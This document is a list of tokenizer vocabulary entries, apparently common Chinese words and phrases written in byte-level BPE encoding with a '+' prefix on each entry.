+æĹłéľĢ +åΰåºķæĺ¯ +æĢ¡ +åijĬè¯īä½ł +éĺ²æ°´ +è¿ĻæĹ¶åĢĻ +欢ä¹IJ +转åIJij +è¿Ļä¸ªåľ°åĽ¾ +åħ¥é©» +èįīåİŁ +æĹ¶ä»£çļĦ +åıĺåĬ¨ +åĬłå¼ºå¯¹ +åģ¶å°Ķ +å®ĪæĬ¤ +æ°Ķ温 +人éĹ´ +æľĿé²ľ +ç»ıè´¹ +åĽŃæŀĹ +å·¥åľ° +è§Ħæł¼ +åĩłåįģ +è¯ķåĽ¾ +å¦ĥ +éĤ£æĹ¶åĢĻ +å¼ĺæī¬ +ä¸ļçķĮ +çļĦéĢŁåº¦ +ä¼ļä¸įä¼ļ +èIJ¥æĶ¶ +å°ıå¾®ä¼ģä¸ļ +çľĭè¿ĩ +æĬĬä»ĸ +éģµå¾ª +è¿Ļè¾¹ +没æľī人 +壶 +æ¹ĸåįĹçľģ +æŀģåħ¶ +çļĦ人çĶŁ +ä»ĸè¿ĺ +转åĮĸ为 +èµ°è¿ĩ +æĬ±çĿĢ +çīĽå¥¶ +ä¸ĩ亩 +å¿ĥæĢģ +æĹ¥å¸¸çĶŁæ´» +ä½ĵæ£Ģ +æĻĥ +çŃīé¢ĨåŁŁ +æĩī該 +åı¯ä»¥çľĭåΰ +æī¾ä¸įåΰ +èĢģå¹´ +æĬĬæĪij +积åĪĨ +梳çIJĨ +绳 +çļĦæĶ¿æ²» +å¸ĿåĽ½ +éĻªä¼´ +æ´Ľéĺ³ +åħ¬æŃ£ +å¼Ģåı£ +çī¹èī²çļĦ +åĽ°å¢ĥ +ä¸Ĭæľī +ç«ĭä½ĵ +æīĵå·¥ +åķ¤éħĴ +åľ¨éĤ£éĩĮ +éĤ£è¾¹ +个åĪ« +ä¸Ģå®ļæĺ¯ +çļĦéĩįè¦ģæĢ§ +ä¸»å¼ł +åĴĮæľįåĬ¡ +ä¸Ĭç½ij +è¡¥åĬ© +åıªéľĢ +弦 +éģ® +åĬĽäºī +度è¿ĩ +èij¬ +é¡¿æĹ¶ +éĦī +纺ç»ĩ +åľ°åĿĹ +ä¿¡ç͍åį¡ +ç½ļ款 +åijĬè¯īæĪij +éĽĻ +书çĶ» +è¨Ńè¨Ī +æĢ»ä¼ļ +åΤåĨ³ +ä¿¡èªī +个èĤ¡ +平常 +æĢİ麼 +ä½ĵçİ°åľ¨ +é»Ħæ²³ +åĽĽå·Ŀçľģ +羣缸 +åIJĦé¡¹å·¥ä½ľ +åĬ¨åijĺ +å³°ä¼ļ +ä¸ĢæľŁ +æľīä¸Ģå®ļçļĦ +é«ĺ度éĩįè§Ĩ +ç¹ģèᣠ+åıijçݰäºĨ +ç½ij红 +æīĭæ³ķ +å®¶åĽŃ +仪åύ +è¾ĥä½İ +çļĦå®īåħ¨ +æ¡IJ +ä»ĺ款 +æĬijåζ +åįĵè¶Ĭ +æŃ£éĿ¢ +åĵij +强åζ +ä»Ĭ天çļĦ +æĪĺèĥľ +楼å¸Ĥ +æĭ¿ä¸ĭ +é¢ľå̼ +举éĥ¨ +çłĶåζ +çļĦæĪĺçķ¥ +åľ¨ä¸Ģ个 +ä¸ī人 +å®ĮäºĨ +æĸ°æĬĢæľ¯ +ç»ıæµİæķĪçĽĬ +å¯Įæľī +澳洲 +åĬ©çIJĨ +é¢Ĩåıĸ +è°Ń +çĩĥçĥ§ +ç´łåħ» +éĤĦæľī +è¿ĽèĢĮ +ä»Ģä¹Īæĺ¯ +çłĶç©¶ä¸Ńå¿ĥ +éĢĤç͍äºİ +æİ¥æĶ¶ +å¤±æľĽ +äºĮ级 +éĹ´çļĦ +åİŁæłĩé¢ĺ +èªįçĤº +æį¡ +对çĿĢ +对éĿ¢ +ä¸ŃåİŁ +éĵĥ +çĶŁäº§çļĦ +åıijå¸ĥä¼ļ +士åħµ +è¿Ļåı¥è¯Ŀ +缴纳 +ä¸Ģ个个 +åѸçĶŁ +çĸijéĹ® +交èѦ +示èĮĥåĮº +天使 +åľ¨ä¸Ĭæµ· +åIJĮæĻĤ +è½»æĺĵ +å͝ä¸ĢçļĦ +çĥŃéĹ¹ +ä¹IJè§Ĥ +çļĦ身份 +åĸĦäºİ +大åİħ +èĤ¯å®ļæĺ¯ +éĺ²çģ« +å¤ĸåĩº +æį®è¯´ +é¡¹çĽ®çļĦ +ä¸Ģåı° +èĻļåģĩ +ä¸Ģç¬Ķ +ç«ĭæ³ķ +严èĤĥ +æī¿åĬŀ +åįģåĩł +çļĦ空éĹ´ +æľ¬ç½ijç«Ļ +åģļå¾Ĺ +ä¿Ŀ温 +æľĪåĪĿ +åľ¨ç½ijä¸Ĭ +åIJĦæĸ¹éĿ¢ +ä¸ī天 +交æĺĵæīĢ +è§£æŀIJ +åħļä¸Ń央 +è¿Ľåĩºåı£ +åĴĮ社ä¼ļ +次æķ° +ä¹ĭå®¶ +维度 +æ´¾åĩºæīĢ +产çĶŁäºĨ +带æľī +å¾Ī强 +æľīäºĽäºº +å¹´åIJİ +äºĨ许å¤ļ +å¯Ĩ度 +åŃ¦æľŁ +çıłæµ· +æľĢå¤ļçļĦ +è¾¹ç¼ĺ +容éĩı +第äºĮ个 +ä¸Ģ缴æĺ¯ +ä¸įç¦ģ +æŃ² +ä»ĭç»įäºĨ +ä¼ĺéĽħ +æ¯Ķè¼ĥ +èģĮä½į +温æŁĶ +æľīéĴ± +æľĢé«ĺçļĦ +åįļè§Īä¼ļ +ä¸įæĪIJ +éĶĻäºĨ +è¯ģçĽij +è¯ģçĽijä¼ļ +æĪIJ人 +åĿĩåĮĢ +æľīåĪ© +è¶ĬåįĹ +æīĵäºĨ +好åIJĥ +系統 +è·Łéļı +çļĦåľ°ä½į +æŃ£å¦Ĥ +ç¨įå¾® +åį°åıij +åĪĽç«ĭ +é£İåħī +å°ĨæĪIJ为 +ä¸įé«ĺ +é¢ijç¹ģ +设æľī +ä¼ŀ +æĭĨéϤ +å½±åĥı +æ¸ĹéĢı +å¹´å¼Ģå§ĭ +ç½ijæĺĵ +è¦ģåģļ +ç͵åĬ¨è½¦ +羣å¿ĥ +æµ·åĨĽ +ä¼łæĿ¥ +å·®åĪ« +è°¨æħİ +çĥŁåı° +åįĥå¹´ +è¯ģå®ŀ +çIJª +çļĦåħ·ä½ĵ +åΰå¤Ħ +ä¸įå®ľ +èľĢ +èĥ½åĬĽåĴĮ +çīºçī² +çļĦéĴ± +大éĺŁ +é¦ĸè¦ģ +ä¸įæĦ¿ +çİ«çij° +人æ°ijç½ij +è¿ĺæĺ¯è¦ģ +åĽĽå¹´ +æįŁä¼¤ +çļĦåģļæ³ķ +éĿĪ +è¡Ķæİ¥ +åIJĪæĪIJ +没人 +éĹ¨æ§Ľ +ä¿¡è´· +çļĦ缸åħ³ +举é£İ +社ä¿Ŀ +ä¸ĭ游 +åĿĹéĴ± +è¿ĩåIJİ +çļĦåºĶç͍ +饶 +é¢ģåıij +ä¸Ģå¤Ħ +åįİå¤ı +为ä¼ģä¸ļ +åıªä¼ļ +侵害 +çļĦåĬŁèĥ½ +åѸç¿Ĵ +ä¸Ńåįİæ°ijæĹı +åıijå¸ĥäºĨ +è¿İæİ¥ +æĪijèĩªå·± +è¿ĺéľĢè¦ģ +太éĺ³èĥ½ +åİ»ä¸ĸ +æĺ¯ä½ł +åIJĪåĬĽ +ç»ĺçĶ» +åı°åĮĹ +çĿ£ä¿ĥ +åĮĹéĥ¨ +æľīå¤ļå°ij +å¾Īéĩįè¦ģ +åĪĴåĪĨ +åı·çº¿ +æĶ¾å¤§ +ä¼ļ被 +èİ·å¥ĸ +ä¹ĭåĨħ +失åİ»äºĨ +çݩ家们 +éĩĩéĽĨ +壹 +å®¶ä¼Ļ +çϽ天 +åĽłä¸ºä»ĸ +社ä¼ļæ²»çIJĨ +å¼ĢåĪĽ +ç͵ç¼Ĩ +æĸ°ä¸Ģ代 +å¹¶è´Ń +就已ç»ı +çļĦ社ä¼ļ +éϤéĿŀ +åı¯ä»¥ç͍ +å©ī +æ¯Ķè¾ĥ好 +å®ŀä¸ļ +åĪĽåĬŀ +æıIJèµ· +é»ĥ +ä½ıåľ¨ +å¸ĤæĶ¿ +éĿ¢ä¸´çļĦ +èĥ½åľ¨ +çŁŃçŁŃ +çľŁäºº +æĺİæĺİ +èµĦåĬ© +çļĦä¸įåIJĮ +å°ıæľĭåıĭ +é¢ĺæĿIJ +ç¾İåij³ +æĺŁåº§ +ä¸įä¸Ģæł·çļĦ +çľĭä¸Ĭåİ» +ä¸Ģæł¹ +广å·ŀå¸Ĥ +åıijçĶŁçļĦ +é«ĺç§ijæĬĢ +ä¸Ģè¾ĪåŃIJ +交åıī +ä½ĵ系建设 +åĽłä¸ºæĪij +çıįæĥľ +ä¸ĬåѦ +æĪĺæľ¯ +æŃ¤ç±» +交å¾Ģ +æĮīæij© +人们çļĦ +åħ¶å¯¦ +åİŁæĿIJæĸĻ +æ¸´æľĽ +缸å¤Ħ +微微 +æ®· +ä¹ĺåĿIJ +å¼Ģå±ķäºĨ +é«ĺåĵģè´¨ +æĹłäººæľº +ä¸įæĺ¯å¾Ī +çļĦæĬķèµĦ +èĬĤçľģ +èĩī +ç²¾éĢī +çļĦæłĩåĩĨ +åįĹéĥ¨ +认è¯Ĩåΰ +å¹³éĿĻ +èĹ¥ +æī«é»ij +æī«é»ijéϤ +æī«é»ijéϤæģ¶ +éĢĻ種 +建çŃijéĿ¢ç§¯ +ç¡®ç«ĭ +管çIJĨåĬŀæ³ķ +æĦıå¿Ĺ +丨 +让åŃ©åŃIJ +æķijçģ¾ +å½ĵä»Ĭ +çģ«çģ¾ +åIJĦéĥ¨éŨ +ä¾µçĬ¯ +æ¯ıåij¨ +æı½ +ä¸Ģ次æĢ§ +åħ¶ä»ĸ人 +éĶĻè¿ĩ +ä¸İåħ¶ +åĭĩæ°Ķ +çĩĥæ°Ķ +é¦ĸå±Ĭ +æľį饰 +ç²¥ +å®Įæ¯ķ +å°±æĬĬ +åĬŀäºĭå¤Ħ +ä¸Ģä¼ļåĦ¿ +离ä¸įå¼Ģ +å¦ĤæŀľæĤ¨ +ä»ĵåºĵ +导å¸Ī +åIJĪéĢĤçļĦ +毫米 +å®īåħ¨æĢ§ +ä¾Ŀçħ§ +产ä¸ļåĮĸ +ä½łçľĭ +羣çļĦå¾Ī +åѤçĭ¬ +éĺ²å¾¡ +å¾Īç®Ģåįķ +é£İæ°´ +ä½Ĩä¹Ł +æİ¨åĩºäºĨ +æ°ijèIJ¥ä¼ģä¸ļ +çłģ头 +å¤įæĿĤçļĦ +ç»ĦæĪIJéĥ¨åĪĨ +åħħ满äºĨ +è¿ijåĩłå¹´ +çľģæĶ¿åºľ +æľīå¿ħè¦ģ +éϳ +ä¹ĭç±» +ä¹ĭç±»çļĦ +æĢ§ä»· +æĢ§ä»·æ¯Ķ +åķĨåºĹ +å¸Ĥå̼ +人æīįåŁ¹åħ» +æ·±åıĹ +管çIJĨå±Ģ +æģIJæĥ§ +ä»ħæľī +æĬµè¾¾ +æµ·åħ³ +èµĭäºĪ +äºĭåĦ¿ +ä»·éĴ± +æīĭä¸Ĭ +èĩªå¾ĭ +åħ³çα +享æľī +éģĹæĨ¾ +å¾Īå¿«å°± +æĽ´å¿« +æłĩè¯Ĩ +åºĨç¥Ŀ +ä¹Łå¥½ +ä¸įæĺĵ +æĪijå¾Ī +æĶ¹éĿ©åıijå±ķ +å¤ĸåľ° +æĬµæĬ¼ +è¯Ĺ人 +åİķæīĢ +æĸ°åªĴä½ĵ +èĸĽ +è°Īè¯Ŀ +ä¸Ģå®ļç¨ĭ度 +èµ°åľ¨ +æľĢ强 +åĬŁçİĩ +åħ±è¯Ĩ +大桥 +ä¸ĭæĸ¹ +å¤ĸèµĦ +碱 +å·¡è§Ĩ +æ¹ĸåĮĹçľģ +个çϾåĪĨ +个çϾåĪĨçĤ¹ +çļĦ责任 +çļĦåĵģçīĮ +åĬ©æİ¨ +åĪĽéĢłäºĨ +ä»»èģĮ +å¿«æį· +æĿijåºĦ +åİ»çľĭ +æīįèĥ½å¤Ł +層 +æĪijå®¶ +æĺ¯ä¸Ģ款 +ç¾ħ +åĨ°éĽª +æŀģ大 +çģ¯åħī +éĨĭ +ä¸İåħ¶ä»ĸ +æıIJåĩºçļĦ +éĿłè¿ij +è°ĥåĬ¨ +å°½åı¯èĥ½ +åıijåĬĽ +ç»Ļ她 +éĢĤéĩı +è·¨åĽ½ +åħĪè¡Į +æĸ°æĿIJæĸĻ +ä½ľäºĨ +满äºĨ +ä¸į满 +çļĦçľ¼çĿĽ +çľĭå¾Ĺ +è¿Ļä¸Ģ次 +é½IJåħ¨ +çļĦä¸Ģéĥ¨åĪĨ +ä¸Ļ +æ¸ħæĸ° +說æĺİ +身边çļĦ +æīĢæľī人 +å½°æĺ¾ +è±¹ +åį¿ +è¿IJ转 +æĮĩå¼ķ +å¸Ĥåħ¬å®īå±Ģ +åıĤå±ķ +ä¹ĭæĹ¶ +éĩijèŀįæľįåĬ¡ +èµĦæľ¬å¸Ĥåľº +èĥ½è®© +å¿ĺäºĨ +天åłĤ +æ¯Ķå¦Ĥ说 +éĬĢè¡Į +èĽĭç³ķ +çĶ© +æł¸å®ŀ +æĻ®äº¬ +ä¼ĺç¾İ +åı£èħĶ +漫çĶ» +çľ¼éĩĮ +äºĨä¸ĭæĿ¥ +æĪijä»¬ä¹Ł +ä¾į +为ä¸Ńå¿ĥ +å¥ĩ迹 +éĿĴçĿIJ +æĪªèĩ³çĽ®åīį +åĩºä¾Ĩ +æĢ»åħ¬åı¸ +弥补 +ç®Ĺæ³ķ +å·¥ä½ľå®¤ +æīĢ以æĪij +æ°´åĪĨ +æīĢå±ŀ +ä¸į说 +ä½Ĩæĺ¯åľ¨ +è¦ģåİ» +åĪĽä¸ļèĢħ +ä¸įæ¸ħæ¥ļ +åĽĽåij¨ +æĺ¯ä»İ +çļĦæł¹æľ¬ +çģ¶ +æ¯Ľæ³½ +æ¯Ľæ³½ä¸ľ +æµ·åı£ +åĽĽåįģ +ä¹Łè¢« +èģ· +ä¸Ģæīĭ +绩æķĪ +çļĦçĶ·äºº +书ç±į +ä¸ĢèĦ¸ +大äºİ +鼶éĥ¨ä»¶ +åħ³æĢĢ +平米 +æļ´éľ² +å¾Ĺå¤ļ +ä¸ī级 +æľ¬åij¨ +两èĢħ +对ä¸ŃåĽ½ +åıªè§ģ +欧ç¾İ +å¦Ĥæŀľæľī +å·²ç»ıæĺ¯ +çľĭå®Į +çģ«éĶħ +èµIJ +ä¸Ģéģį +æĦŁåĨĴ +ç»ĵå±Ģ +ä»ĵåĤ¨ +å®ŀåľ° +å̻ç»ıçIJĨ +ä¹Łä¸įçŁ¥éģĵ +碰åΰ +åIJĪ计 +客æĪ·çļĦ +ç½Ĺ马 +æĦīå¿« +é£Ľ +çĥŃçĥĪ +伦æķ¦ +åĮ»ä¿Ŀ +éĺ¿éĩĮå·´å·´ +åĨį说 +ä¸ºåŁºç¡Ģ +çĶŁäº§ç»ıèIJ¥ +è¿ĻäºĽäºº +åĪĹ车 +æ²³åĮĹçľģ +è¿Ļ段 +æ´»åĬ¨ä¸Ń +å©· +çĶŁçIJĨ +ä¸ŃåĽ½äººæ°ij +éĦĤ +åIJ¬åıĸ +å¤įä¹ł +æľīçĽĬ +æĶ¶æĭ¾ +å¾Īåı¯èĥ½ +ç½ijç»ľæ¸¸æĪı +们çļĦ +èµĭèĥ½ +éļ¾å¾Ĺ +åĪĨæīĭ +羣è¯ļ +åħ¬åı¸åľ¨ +åĿĩè¡¡ +åı£åij³ +çīµå¤´ +ä¸ĢèάçļĦ +轿车 +çŃīäºİ +æ²īé»ĺ +æĪijéĥ½ +å°ıç¨ĭåºı +ä¸Ģåī¯ +æī¿è½½ +åľ°è´¨ +çķĮéĿ¢ +çĶµæľº +çĦ¦èĻij +éĶĢåĶ®é¢Ŀ +æĸ°è½¦ +ä¸Ĭ游 +主æ¼Ķ +éļIJç§ģ +åıijå±ķæĪĺçķ¥ +çļĦåĬªåĬĽ +å¼Ģåħ³ +è§£åĨ³éĹ®é¢ĺ +çĿ£å¯¼ +对æĬĹ +å¾Īå¤ļ人éĥ½ +æĹłæķĪ +产åĵģè´¨éĩı +å®īå¿ĥ +åįİ人 +ä¸į符åIJĪ +èĩªå®¶ +éĺµå®¹ +çļĦåIJĦç§į +çļĦçIJĨ念 +çļĦæĸĩåĮĸ +为èĩªå·± +山水 +游泳 +éľĩèį¡ +çĶŁæ´»æĸ¹å¼ı +è¿ľç¦» +çŁ³åĮĸ +æŃ¤äºĭ +æĺ¯çľŁçļĦ +çļĦæ¯Ķä¾ĭ +ç͍ç͵ +奥è¿IJä¼ļ +ä¿Ŀå®ī +èĽĭçĻ½è´¨ +çļĦå¿ĥçIJĨ +å·« +åı·çłģ +æ°Ķä½ĵ +åıijæĶ¹ +åıijæĶ¹å§Ķ +åĮ»å¸Ī +æ¶ĤæĸĻ +æĺĬ +å¸Ĥ级 +ä¸ĸçķĮçļĦ +åĪĨåĪ«æĺ¯ +çł´äº§ +ä¸ĢæĿ¯ +æĭīå¼Ģ +å¹³åĩ¡ +çļĦåıijçĶŁ +åĬ¨æīĭ +ä¸ĢçĽ´ä»¥æĿ¥ +æīĭå·¥ +éĩĮéĿ¢çļĦ +æĹłåħ³ +ä»ĭåħ¥ +èµ°ä¸Ĭ +å°±æĺ¯è¦ģ +å¹´éĹ´ +åĩºçı¾ +å½±éŁ¿ +å¹ħ度 +éĽģ +éģĵåħ· +缮çļĦåľ° +åIJİèĢħ +ä¸Ĭæ¼Ķ +äºĨåĩł +æ®ĭçĸ¾äºº +å¿Ļç¢Į +æĺ¯åIJ¦æľī +并对 +ä¼ļ导èĩ´ +æ°´åºĵ +ç»Ĩèĩ´ +åIJİæĤĶ +å¿ĥæĢĿ +åģļäºĭ +åİĤæĪ¿ +çĿ¿ +è¿IJèIJ¥åķĨ +头éĥ¨ +çļĦè§Ĵèī² +æĺ¯ä»ĸ +æĹ¢æľī +å°ıæĹ¶åĢĻ +强åĬ² +主æĴŃ +åħ¨åĽ½åIJĦåľ° +æįı +æįŁåĿı +åķĨä¼ļ +ä¿Ŀç½Ĺ +çľģå¸Ĥ +éļ§éģĵ +æľīä¸įå°ij +è¦ģåľ¨ +å»ºè®¾é¡¹çĽ® +ç³ĸå°¿ +ç³ĸå°¿çĹħ +æĿ¡ä»¶ä¸ĭ +ä¼ĺè´¨çļĦ +é¦ĸåıij +å½ĵæĹ¶çļĦ +丰çͰ +大çĽĺ +缸继 +å®ģå¤ı +åħ¥ä½ı +æĪijè¿ĺ +åħĭæĸ¯ +å®ļä»· +å¹³æĸ¹åħ¬éĩĮ +çļĦçŁ¥è¯Ĩ +æĪij们ä¼ļ +åħĥå®Ŀ +ä½ĵéĩį +è³£ +对æĪij们 +çŁ³å®¶ +çŁ³å®¶åºĦ +ç²¾åįİ +å½¢çĬ¶ +åıĹåΰäºĨ +修订 +ç¾İåľĭ +é«ĺæ¸ħ +çľ¼éķľ +è§īå¾Ĺèĩªå·± +带ç»Ļ +åͮ价 +éĹ¨ç¥¨ +åŃķå¦ĩ +ç͵è§Ĩåı° +åıijä½ľ +çļĦåij³éģĵ +éķ¿è¿ľ +åħ¬åħ±æľįåĬ¡ +æŃ£å¸¸çļĦ +æľīè¿ĩ +é£İæĥħ +æ¯Ķéĩį +åIJ» +管çIJĨå·¥ä½ľ +综åIJο̧ +已被 +说起 +æİĴæ°´ +ä¸įæĸŃåľ° +æĥħæĢĢ +è¾ĵéĢģ +è¿ĩæķı +çļĦåı¯èĥ½æĢ§ +æľįç͍ +æľī许å¤ļ +å§Ķåī¯ä¹¦è®° +åĮĸå¦Ĩåĵģ +æļĤåģľ +æĬķèµĦ人 +çıŃ级 +说çĿĢ +åįĹåĮĹ +åĪĨè¡Į +çıłå®Ŀ +寶 +å¢ŀå¤ļ +被åĬ¨ +ç®ĬçļĦ +éĹľä¿Ĥ +çļĦèĦ¸ +æĥŁ +ä¸įä¸Ģå®ļ +ç¶Ń +çģ«çĪĨ +ç§Łéĩij +çŀ§ +éĩį建 +è·ª +ä¸Ģ種 +çļĦåIJĪä½ľ +å®īæħ° +ä»įæĺ¯ +ä¸ĵä¸ļåĮĸ +è°ĥè§£ +ä¸į妨 +éĢĻæĺ¯ +å¿ħéłĪ +ä¼ĬæľĹ +å¾ĹäºĨ +æľįåĬ¡å¹³åı° +姬 +åħĪéĶĭ +çİĭåŃIJ +çļĦä¸ĢåĪĩ +æĢ»çIJĨ +åĵ¼ +çªij +çļĦå¿ĥæĥħ +çļĦéĩį大 +çijŁ +ä¸Ģç¬ij +åıijå±ķä¸Ń +åģ¥åº·åıijå±ķ +åĵģçīĮçļĦ +禮 +ä½Ļ人 +ä»Ĭ年以æĿ¥ +æķ°çłģ +çѾè¯ģ +åİ»æī¾ +åŁºéĩijä¼ļ +æĬ±æĢ¨ +æŃ£å½ĵ +çıŃåŃIJæĪIJåijĺ +ä¸įåIJĪæł¼ +åζå®ļäºĨ +ç¼ĵæħ¢ +åĪ¶çº¦ +æłı缮 +å¸Ĥåľºç»ıæµİ +ç»ĦæĪIJçļĦ +严峻 +æĹ¥è®¯ +ä¸ĢçĤ¹çĤ¹ +æĺ¯æĢİä¹Ī +çļĦçħ§çīĩ +éĺ»æŃ¢ +模ç³Ĭ +缸 +éģķåıį +æIJ¬è¿ģ +éĩijéĴ± +彬 +ä¸įå®ī +æĪĺçķ¥åIJĪä½ľ +å¡«åĨĻ +讲究 +åħħåĪĨåĪ©ç͍ +èĥ½å¤ł +èij¡èIJĦéħĴ +éĩĩç͍äºĨ +åľ¨ä»Ĭå¹´ +ä¸Ńå°ıåѦ +åľ¨æĦı +çļĦåİĭåĬĽ +ä¸į幸 +åζèᝠ+åı¯ä»¥è®© +被è¯Ħ为 +ç»ĨèıĮ +æĪıåī§ +åįĬ导 +åįĬ导ä½ĵ +è§Ĩè§Ĵ +åĸľæŃ¡ +å¾ģæĶ¶ +è°ĭåĪĴ +æŀģ大çļĦ +çĤ¹èµŀ +è®°èĢħä»İ +两åIJį +èĩªåĬ© +èµ·æŃ¥ +æĬ¤å£« +å®Ŀ马 +太åŃIJ +å°ıå°ıçļĦ +温æ³ī +åĩºç§Łè½¦ +ç§ŁæĪ¿ +两家 +éľĩæĴ¼ +ç§īæī¿ +ä¸Ģä»¶äºĭ +çĥĪ士 +å®ĺåħµ +转身 +ä¹IJåĽŃ +çĻĮçĹĩ +模èĮĥ +æĦ£ +è¿ĩåİ»çļĦ +代价 +çļĦæ¦Ĥ念 +åĩłçϾ +è´µéĺ³ +æĭħå¿§ +éĢĤå®ľ +çݯå¢ĥä¿ĿæĬ¤ +çĥ« +ä½łæĥ³ +æŃ¤åIJİ +ä½łä¹Ł +çįİ +éϤæŃ¤ +éϤæŃ¤ä¹ĭå¤ĸ +è°ĥ度 +ç§ij缮 +æīĢ说çļĦ +åĬĩ +忽è§Ĩ +ä¸ī次 +ä¸ĢæĹ¥ +åŀĤ缴 +ç«ŀæĬĢ +éĿ¢åĮħ +大æĪĺ +æIJºå¸¦ +å¦Ĥæŀľæ²¡æľī +åħ»æĪIJ +åĩºè¡Ģ +çα好èĢħ +æīĵéĢļ +èµ·è¯ī +åijĪçݰåĩº +æŃĮæīĭ +åľ¨å¤ĸ +é¢Ĩ导干éĥ¨ +åĨ¥ +èĪĨ论 +æıIJåıĸ +éĺ¿å°Ķ +æľĽçĿĢ +ä¸īäºļ +財 +åĪ·æĸ° +æĻļæĬ¥ +è¿ĺæľīä¸Ģ个 +åĨ°ç®± +ç½ijçĤ¹ +åĩºåħ· +强çĥĪçļĦ +æĪijçĽ¸ä¿¡ +å¸ĮæľĽèĥ½ +çīĻ齿 +äºĭå®ľ +ä¸ļåĨħ人士 +ä»£æĽ¿ +åıĺå½¢ +éĽ² +è°ĥæİ§ +åĪĽæĸ°åĪĽä¸ļ +æĭĨè¿ģ +æł¸æŁ¥ +éĢĹ +åħ¥åѦ +æĦıåIJij +æıĽ +ä¸ĭ次 +ä¼łè¾ĵ +ä»ĸä»¬åľ¨ +èĢĮä¸Ķè¿ĺ +æĹ¥åľ¨ +æķĻè®Ń +æ´»çĿĢ +çļĦæľīæķĪ +å¤įå·¥å¤į +å¤įå·¥å¤į产 +æĺ¯ä¸Ģä»¶ +çŃīçĿĢ +復 +åĭĩæķ¢ +éģŃåıĹ +å¥Ķé©° +讲座 +说å®Į +ç»Ļåĩº +è°¦ +è¯ĬçĸĹ +çĽ²çĽ® +客è¿IJ +å°±è¿ŀ +å¼Ģåħĥ +å¼Ģåħĥæ£ĭçīĮ +ä¸įæĸŃæıIJåįĩ +ç͍æĪ·çļĦ +æĴķ +ä¾Ľæ°´ +ç¶ĵæ¿Ł +ä¸ŃåĮ»èᝠ+èģĶæĥ³ +åħ¬äº¤è½¦ +èĪªçıŃ +æĬĢè¡ĵ +å¼ķèµ·çļĦ +å°¹ +èµĦæ·± +åĽ½èµĦå§Ķ +èĺŃ +é¼»åŃIJ +éĹ½ +æİĴéĺŁ +è§Ĥåħī +éģĹåĿĢ +ä¸ľäº¬ +é¥ŃåºĹ +ä¸įæĸŃçļĦ +å°±æĺ¯ä¸Ģ个 +éķ¿ä¹ħ +çļĦè§ĤçĤ¹ +娶 +æĪijçİ°åľ¨ +çķ° +å¾Ĺåĩº +å¿ħå®ļ +ä¸įåıĹ +åıªéľĢè¦ģ +åĽ°æī° +ç§ijåѦæĬĢæľ¯ +çīĽèĤī +è¾ĥé«ĺçļĦ +è·ijæŃ¥ +æ²¾ +èı©èIJ¨ +æľĢå¾Į +ä¿Ŀå¯Ĩ +æ²»å®ī +éĤ± +常è¯Ĩ +èĦ¸èī² +åĮĹ大 +æ±ĩèģļ +æijĨèĦ± +é¾Ļ头ä¼ģä¸ļ +女åıĭ +çŃīå·¥ä½ľ +ä¸Ńç¾İ +èģĮåľº +èĦijè¢ĭ +åĨĻçļĦ +饲æĸĻ +åĬ³åĬ¨åĬĽ +屯 +æĮģèĤ¡ +åĽ¾åĥı +è¿ĩåİ»äºĨ +貨 +è¾² +éĹ®æĪij +è·Łä½ł +çĶŁæŃ» +审ç¾İ +é¢Ĺç²Ĵ +ä¸Ńæĸ¹ +åĬłçĥŃ +æĹħè¡Į社 +çϼçĶŁ +ä¸įåłª +åĤ· +æ¥ł +åĬŀæ¡Ī +æŁĦ +æĹ¢æĺ¯ +å¤ĦåĪĨ +羣å®ŀçļĦ +æĬ¥çº¸ +å¸Īçζ +å®īå¾½çľģ +åī¯ä¸»å¸Ń +ä¹ĭéģĵ +导弹 +åŃ¦æł¡çļĦ +åŁİå¸ĤçļĦ +è°Īåΰ +æ¢Ĺ +å¹³éĿ¢ +说ä»Ģä¹Ī +é¢ijçİĩ +éķ¿ä¸īè§Ĵ +çļĦåĪ©çĽĬ +黨 +è±ĨèħIJ +å®ŀéĻħæĥħåĨµ +æŀĹä¸ļ +纪æ£ĢçĽijå¯Ł +ä½ıéĻ¢ +çļĦæķ´ä½ĵ +åīįè¡Į +æĮ¨ +çħ¤çŁ¿ +å̻è£ģ +å°ıåIJĥ +æŀģ端 +å©Ĩå©Ĩ +çݰ货 +è¯ĹæŃĮ +éĴ¥åĮĻ +缩çŁŃ +ä½Ĩè¿Ļ +æĸ°åĵģ +è¿Ļ对 +çŁ¥åIJį度 +å¿ĹæĦ¿æľįåĬ¡ +大å±Ģ +è¡¡éĩı +ä½ĵçݰäºĨ +æ¡ĥèĬ± +åIJ¸å¼ķåĬĽ +åł¤ +æĵħéķ¿ +åĴĴ +çĽ¸æľº +ä¸Ģç«Ļ +ä¸Ģç«Ļå¼ı +æľĢç¾İ +æ°¸ä¹ħ +çļĦéĥ¨åĪĨ +åĪĨå·¥ +å·¥ç¨ĭ建设 +æIJŃè½½ +æ°´ä¸Ń +èĮ¨ +çļĦæĵįä½ľ +ç»Łæ²» +çķħéĢļ +åħļçļĦåįģ +輸 +測 +ç¾İè§Ĥ +ä¸įåĪ© +åıįæĢĿ +éªĦåĤ² +æłĩçļĦ +æĿĢ人 +éĺ¿å§¨ +é£ŁæĿIJ +åIJĥçļĦ +åIJİåĨį +çŁ£ +两侧 +æ¸ħæ°´ +è¿ĽçIJĥ +å¼Ģå§ĭäºĨ +åIJ¬äºĨ +çĦĬæİ¥ +磮 +å¨Ł +为人 +éĢģç»Ļ +åĨĴéĻ© +æķ· +ç»ĪæŃ¢ +æīįçŁ¥éģĵ +è¿IJæ°Ķ +éĢļé£İ +æĥĬè®¶ +ç§ijåѦéĻ¢ +æıIJéĹ® +太åİŁ +缸åIJĮçļĦ +ä»ķ +èģĸ +æĥħæ³ģ +é¢Ĩ导人 +åĩºæĿ¥äºĨ +沿线 +éϽ +æĦŁè¦º +ä»įåľ¨ +æ©Ļ +约为 +åĸĿéħĴ +ç͍èᝠ+ä¸ĭä¸Ģ +æ³ķå®ĺ +顺åºı +åģļä¸Ģ个 +åĭ¢ +æŃª +ç͵ç«ŀ +ä¼´éļıçĿĢ +ä¹ĭåĬĽ +ä¹ĭ人 +äºij计ç®Ĺ +åĪ«äººçļĦ +ç§ijåѦåıijå±ķ +第åħ« +å¹²æī° +女ç¥ŀ +è¿Ļæł·åģļ +å¤Ħåľ¨ +æ°´è´¨ +éķ¿æĺ¥ +å¸ĤåľºéľĢæ±Ĥ +ç»´æĿĥ +èĢ³æľµ +æĸĩåĮĸçļĦ +奶ç²ī +ä¼łè¾¾ +æīĭæľºçīĪ +æĽ¾åľ¨ +äºĮæľŁ +åİŁåĽłæĺ¯ +æºIJ头 +åıĪèĥ½ +裸 +æĬĢæľ¯åĪĽæĸ° +æĸĩåĮĸæĹħ游 +åıij票 +年级 